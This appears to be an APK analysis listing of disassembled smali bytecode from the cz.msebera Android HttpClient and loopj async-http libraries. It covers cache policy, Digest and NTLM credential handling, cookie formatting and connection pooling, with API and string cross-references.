        33iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheableRequestPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        35const-string v0, "non-GET request was not serveable from cache"
        37invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        38return v2
        39cond_31:
        40const-string v0, "Pragma"
        42invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        43move-result-object v0
        44array-length v0, v0
        45if-lez v0, :cond_42
        47iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheableRequestPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        49const-string v0, "request with Pragma header was not serveable from cache"
        51invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        52return v2
        53cond_42:
        54const-string v0, "Cache-Control"
        56invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpRequest;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        57move-result-object p1
        58array-length v0, p1
        59const/4 v1, 0x0
        60goto_4a: if-ge v1, v0, :cond_86
        61aget-object v3, p1, v1
        63invoke-interface {v3}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        64move-result-object v3
        65array-length v4, v3
        66const/4 v5, 0x0
        67goto_54: if-ge v5, v4, :cond_83
        68aget-object v6, v3, v5
        70const-string v7, "no-store"
        72invoke-interface {v6}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        73move-result-object v8
        75invoke-virtual {v7, v8}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        76move-result v7
        77if-eqz v7, :cond_6c
        79iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheableRequestPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        81const-string v0, "Request with no-store was not serveable from cache"
        83invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        84return v2
        85cond_6c:
        86const-string v7, "no-cache"
        88invoke-interface {v6}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        89move-result-object v6
        91invoke-virtual {v7, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        92move-result v6
        93if-eqz v6, :cond_80
        95iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheableRequestPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        97const-string v0, "Request with no-cache was not serveable from cache"
        99invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        100return v2
        101cond_80: add-int/lit8 v5, v5, 0x1
        102goto/16 :goto_54
        103cond_83: add-int/lit8 v1, v1, 0x1
        104goto/16 :goto_4a
        105cond_86:
        106iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/CacheableRequestPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        108const-string v0, "Request was serveable from cache"
        110invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->trace(Ljava/lang/Object;)V
        111const/4 p1, 0x1
        112return p1
        Cross References
        APIs
        • java.util.Map.put
        • cz.msebera.android.httpclient.auth.AuthenticationException.<init>
        Strings
        • Credentials
        • HTTP request
        • realm
        • nonce
        • methodname
        • uri
        • charset
        • missing nonce in challenge
        • missing realm in challenge
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/auth/AuthenticationException;
        3}
        4.end annotation
        6const-string p3, "Credentials"
        8invoke-static {p1, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string p3, "HTTP request"
        12invoke-static {p2, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14const-string p3, "realm"
        16invoke-virtual {p0, p3}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        17move-result-object p3
        18if-eqz p3, :cond_5e
        20const-string p3, "nonce"
        22invoke-virtual {p0, p3}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        23move-result-object p3
        24if-eqz p3, :cond_56
        26invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameters()Ljava/util/Map;
        27move-result-object p3
        29const-string v0, "methodname"
        31invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        32move-result-object v1
        34invoke-interface {v1}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        35move-result-object v1
        37invoke-interface {p3, v0, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        39invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameters()Ljava/util/Map;
        40move-result-object p3
        42const-string v0, "uri"
        44invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        45move-result-object v1
        47invoke-interface {v1}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        48move-result-object v1
        50invoke-interface {p3, v0, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        52const-string p3, "charset"
        54invoke-virtual {p0, p3}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameter(Ljava/lang/String;)Ljava/lang/String;
        55move-result-object p3
        56if-nez p3, :cond_51
        58invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getParameters()Ljava/util/Map;
        59move-result-object p3
        61const-string v0, "charset"
        63invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->getCredentialsCharset(Lcz/msebera/android/httpclient/HttpRequest;)Ljava/lang/String;
        64move-result-object v1
        66invoke-interface {p3, v0, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        67cond_51:
        68invoke-direct {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/auth/DigestScheme;->createDigestHeader(Lcz/msebera/android/httpclient/auth/Credentials;Lcz/msebera/android/httpclient/HttpRequest;)Lcz/msebera/android/httpclient/Header;
        69move-result-object p1
        70return-object p1
        71cond_56: new-instance p1, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        73const-string p2, "missing nonce in challenge"
        75invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        76throw p1
        77cond_5e: new-instance p1, Lcz/msebera/android/httpclient/auth/AuthenticationException;
        79const-string p2, "missing realm in challenge"
        81invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/auth/AuthenticationException;-><init>(Ljava/lang/String;)V
        82throw p1
        APIs
        • java.lang.System.getProperty
        • java.net.PasswordAuthentication.getUserName
        • java.net.PasswordAuthentication.getPassword
        • java.lang.String.<init>
        • java.lang.String.equalsIgnoreCase
        • java.net.PasswordAuthentication.getUserName
        • java.net.PasswordAuthentication.getPassword
        • java.lang.String.<init>
        • java.net.PasswordAuthentication.getUserName
        • java.net.PasswordAuthentication.getPassword
        • java.lang.String.<init>
        Strings
        • Auth scope
        • http.auth.ntlm.domain
        • NTLM
        Position Instruction Meta Information
        1const-string v0, "Auth scope"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        5iget-object v0, p0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->internal:Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;
        7invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/impl/client/BasicCredentialsProvider;->getCredentials(Lcz/msebera/android/httpclient/auth/AuthScope;)Lcz/msebera/android/httpclient/auth/Credentials;
        8move-result-object v0
        9if-eqz v0, :cond_e
        10return-object v0
        11cond_e:
        12invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthScope;->getHost()Ljava/lang/String;
        13move-result-object v0
        14const/4 v1, 0x0
        15if-eqz v0, :cond_72
        17sget-object v0, Ljava/net/Authenticator$RequestorType;->SERVER:Ljava/net/Authenticator$RequestorType;
        19invoke-static {p1, v0}, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->getSystemCreds(Lcz/msebera/android/httpclient/auth/AuthScope;Ljava/net/Authenticator$RequestorType;)Ljava/net/PasswordAuthentication;
        20move-result-object v0
        21if-nez v0, :cond_23
        23sget-object v0, Ljava/net/Authenticator$RequestorType;->PROXY:Ljava/net/Authenticator$RequestorType;
        25invoke-static {p1, v0}, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->getSystemCreds(Lcz/msebera/android/httpclient/auth/AuthScope;Ljava/net/Authenticator$RequestorType;)Ljava/net/PasswordAuthentication;
        26move-result-object v0
        27cond_23: if-eqz v0, :cond_72
        29const-string v2, "http.auth.ntlm.domain"
        31invoke-static {v2}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
        32move-result-object v2
        33if-eqz v2, :cond_40
        34new-instance p1, Lcz/msebera/android/httpclient/auth/NTCredentials;
        36invoke-virtual {v0}, Ljava/net/PasswordAuthentication;->getUserName()Ljava/lang/String;
        37move-result-object v3
        38new-instance v4, Ljava/lang/String;
        40invoke-virtual {v0}, Ljava/net/PasswordAuthentication;->getPassword()[C
        41move-result-object v0
        43invoke-direct {v4, v0}, Ljava/lang/String;-><init>([C)V
        45invoke-direct {p1, v3, v4, v1, v2}, Lcz/msebera/android/httpclient/auth/NTCredentials;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        46return-object p1
        47cond_40:
        48const-string v2, "NTLM"
        50invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthScope;->getScheme()Ljava/lang/String;
        51move-result-object p1
        53invoke-virtual {v2, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        54move-result p1
        55if-eqz p1, :cond_5f
        56new-instance p1, Lcz/msebera/android/httpclient/auth/NTCredentials;
        58invoke-virtual {v0}, Ljava/net/PasswordAuthentication;->getUserName()Ljava/lang/String;
        59move-result-object v2
        60new-instance v3, Ljava/lang/String;
        62invoke-virtual {v0}, Ljava/net/PasswordAuthentication;->getPassword()[C
        63move-result-object v0
        65invoke-direct {v3, v0}, Ljava/lang/String;-><init>([C)V
        67invoke-direct {p1, v2, v3, v1, v1}, Lcz/msebera/android/httpclient/auth/NTCredentials;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        68return-object p1
        69cond_5f: new-instance p1, Lcz/msebera/android/httpclient/auth/UsernamePasswordCredentials;
        71invoke-virtual {v0}, Ljava/net/PasswordAuthentication;->getUserName()Ljava/lang/String;
        72move-result-object v1
        73new-instance v2, Ljava/lang/String;
        75invoke-virtual {v0}, Ljava/net/PasswordAuthentication;->getPassword()[C
        76move-result-object v0
        78invoke-direct {v2, v0}, Ljava/lang/String;-><init>([C)V
        80invoke-direct {p1, v1, v2}, Lcz/msebera/android/httpclient/auth/UsernamePasswordCredentials;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        81return-object p1
        82cond_72: return-object v1
        Cross References
        APIs
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.List.size
        • java.lang.Integer.toString
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.ArrayList.<init>
        • java.util.List.add
        Strings
        • Cookie
        • :
        • $Version=
        • ;
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/util/List<",
        4"Lcz/msebera/android/httpclient/cookie/Cookie;",
        5">;)",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/Header;",
        8">;"
        9}
        10.end annotation
        12invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        13move-result-object v0
        14const v1, 0x7fffffff
        15goto_7:
        16invoke-interface {v0}, Ljava/util/Iterator;->hasNext()Z
        17move-result v2
        18if-eqz v2, :cond_1e
        20invoke-interface {v0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        21move-result-object v2
        22check-cast v2, Lcz/msebera/android/httpclient/cookie/Cookie;
        24invoke-interface {v2}, Lcz/msebera/android/httpclient/cookie/Cookie;->getVersion()I
        25move-result v3
        26if-ge v3, v1, :cond_7
        28invoke-interface {v2}, Lcz/msebera/android/httpclient/cookie/Cookie;->getVersion()I
        29move-result v1
        30goto/16 :goto_7
        31cond_1e: new-instance v0, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        33invoke-interface {p1}, Ljava/util/List;->size()I
        34move-result v2
        35mul-int/lit8 v2, v2, 0x28
        37invoke-direct {v0, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        39const-string v2, "Cookie"
        41invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        43const-string v2, ": "
        45invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        47const-string v2, "$Version="
        49invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        51invoke-static {v1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        52move-result-object v2
        54invoke-virtual {v0, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        56invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        57move-result-object p1
        58goto_43:
        59invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        60move-result v2
        61if-eqz v2, :cond_58
        63invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        64move-result-object v2
        65check-cast v2, Lcz/msebera/android/httpclient/cookie/Cookie;
        67const-string v3, "; "
        69invoke-virtual {v0, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        71invoke-virtual {p0, v0, v2, v1}, Lcz/msebera/android/httpclient/impl/cookie/RFC2109Spec;->formatCookieAsVer(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/cookie/Cookie;I)V
        72goto/16 :goto_43
        73cond_58: new-instance p1, Ljava/util/ArrayList;
        74const/4 v1, 0x1
        76invoke-direct {p1, v1}, Ljava/util/ArrayList;-><init>(I)V
        77new-instance v1, Lcz/msebera/android/httpclient/message/BufferedHeader;
        79invoke-direct {v1, v0}, Lcz/msebera/android/httpclient/message/BufferedHeader;-><init>(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        81invoke-interface {p1, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        82return-object p1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.concurrent.locks.Lock.lock
        • java.util.Map.remove
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Deleting connection [
        • ][
        • ]
        Position Instruction Meta Information
        1invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getPlannedRoute()Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        2move-result-object v0
        4iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        6invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        7move-result v1
        8if-eqz v1, :cond_33
        10iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        11new-instance v2, Ljava/lang/StringBuilder;
        13invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        15const-string v3, "Deleting connection ["
        17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        21const-string v3, "]["
        23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getState()Ljava/lang/Object;
        26move-result-object v3
        28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        30const-string v3, "]"
        32invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        35move-result-object v2
        37invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        38cond_33:
        39iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        41invoke-interface {v1}, Ljava/util/concurrent/locks/Lock;->lock()V
        42try_start_38:
        43invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->closeConnection(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        44const/4 v1, 0x1
        46invoke-virtual {p0, v0, v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->getRoutePool(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Z)Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;
        47move-result-object v2
        49invoke-virtual {v2, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->deleteEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)Z
        50iget p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        51sub-int/2addr p1, v1
        52iput p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->numConnections:I
        54invoke-virtual {v2}, Lcz/msebera/android/httpclient/impl/conn/tsccm/RouteSpecificPool;->isUnused()Z
        55move-result p1
        56if-eqz p1, :cond_53
        58iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->routeToPool:Ljava/util/Map;
        60invoke-interface {p1, v0}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object;
        61cond_53:
        62iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        64invoke-interface {p1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        65return-void
        66catchall_59: move-exception p1
        68iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        70invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
        71throw p1
        Cross References
        APIs
        • java.lang.Object.<init>
        • java.lang.String.length
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ParseException.<init>
        Strings
        • Char array buffer
        • Invalid header:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ParseException;
        3}
        4.end annotation
        6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        8const-string v0, "Char array buffer"
        10invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const/16 v0, 0x3a
        13invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->indexOf(I)I
        14move-result v0
        15const/4 v1, -0x1
        16if-eq v0, v1, :cond_40
        17const/4 v1, 0x0
        19invoke-virtual {p1, v1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->substringTrimmed(II)Ljava/lang/String;
        20move-result-object v1
        22invoke-virtual {v1}, Ljava/lang/String;->length()I
        23move-result v2
        24if-eqz v2, :cond_25
        25iput-object p1, p0, Lcz/msebera/android/httpclient/message/BufferedHeader;->buffer:Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        26iput-object v1, p0, Lcz/msebera/android/httpclient/message/BufferedHeader;->name:Ljava/lang/String;
        27add-int/lit8 v0, v0, 0x1
        28iput v0, p0, Lcz/msebera/android/httpclient/message/BufferedHeader;->valuePos:I
        29return-void
        30cond_25: new-instance v0, Lcz/msebera/android/httpclient/ParseException;
        31new-instance v1, Ljava/lang/StringBuilder;
        33invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        35const-string v2, "Invalid header: "
        37invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        39invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->toString()Ljava/lang/String;
        40move-result-object p1
        42invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        45move-result-object p1
        47invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        48throw v0
        49cond_40: new-instance v0, Lcz/msebera/android/httpclient/ParseException;
        50new-instance v1, Ljava/lang/StringBuilder;
        52invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        54const-string v2, "Invalid header: "
        56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->toString()Ljava/lang/String;
        59move-result-object p1
        61invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        63invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        64move-result-object p1
        66invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/ParseException;-><init>(Ljava/lang/String;)V
        67throw v0
        Cross References
        APIs
        • java.lang.Object.<init>
        • java.util.concurrent.ConcurrentHashMap.<init>
        • java.util.Map.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.util.Map$Entry.getKey
        • java.util.Map$Entry.getValue
        Strings
        • _elapsed
        • UTF-8
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/util/Map<",
        4"Ljava/lang/String;",
        5"Ljava/lang/String;",
        6">;)V"
        7}
        8.end annotation
        10invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        11new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
        13invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        14iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->urlParams:Ljava/util/concurrent/ConcurrentHashMap;
        15new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
        17invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        18iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->streamParams:Ljava/util/concurrent/ConcurrentHashMap;
        19new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
        21invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        22iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->fileParams:Ljava/util/concurrent/ConcurrentHashMap;
        23new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
        25invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        26iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->fileArrayParams:Ljava/util/concurrent/ConcurrentHashMap;
        27new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
        29invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        30iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->urlParamsWithObjects:Ljava/util/concurrent/ConcurrentHashMap;
        31const/4 v0, 0x0
        32iput-boolean v0, p0, Lcom/loopj/android/http/RequestParams;->forceMultipartEntity:Z
        34const-string v0, "_elapsed"
        35iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->elapsedFieldInJsonStreamer:Ljava/lang/String;
        37const-string v0, "UTF-8"
        38iput-object v0, p0, Lcom/loopj/android/http/RequestParams;->contentEncoding:Ljava/lang/String;
        39if-eqz p1, :cond_57
        41invoke-interface {p1}, Ljava/util/Map;->entrySet()Ljava/util/Set;
        42move-result-object p1
        44invoke-interface {p1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        45move-result-object p1
        46goto_3b:
        47invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
        48move-result v0
        49if-eqz v0, :cond_57
        51invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        52move-result-object v0
        53check-cast v0, Ljava/util/Map$Entry;
        55invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        56move-result-object v1
        57check-cast v1, Ljava/lang/String;
        59invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        60move-result-object v0
        61check-cast v0, Ljava/lang/String;
        63invoke-virtual {p0, v1, v0}, Lcom/loopj/android/http/RequestParams;->put(Ljava/lang/String;Ljava/lang/String;)V
        64goto/16 :goto_3b
        65cond_57: return-void
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.String.toUpperCase
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • <any realm>
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->scheme:Ljava/lang/String;
        5if-eqz v1, :cond_19
        7iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->scheme:Ljava/lang/String;
        9sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        11invoke-virtual {v1, v2}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        12move-result-object v1
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15const/16 v1, 0x20
        17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        18cond_19:
        19iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->realm:Ljava/lang/String;
        20if-eqz v1, :cond_2b
        21const/16 v1, 0x27
        23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        25iget-object v2, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->realm:Ljava/lang/String;
        27invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        30goto/16 :goto_30
        31cond_2b:
        32const-string v1, "<any realm>"
        34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        35goto_30:
        36iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->host:Ljava/lang/String;
        37if-eqz v1, :cond_4c
        38const/16 v1, 0x40
        40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        42iget-object v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->host:Ljava/lang/String;
        44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45iget v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->port:I
        46if-ltz v1, :cond_4c
        47const/16 v1, 0x3a
        49invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        50iget v1, p0, Lcz/msebera/android/httpclient/auth/AuthScope;->port:I
        52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        53cond_4c:
        54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        55move-result-object v0
        56return-object v0
        APIs
        • java.lang.String.trim
        • java.lang.String.length
        • java.lang.String.toLowerCase
        • java.lang.String.startsWith
        • java.lang.StringBuilder.<init>
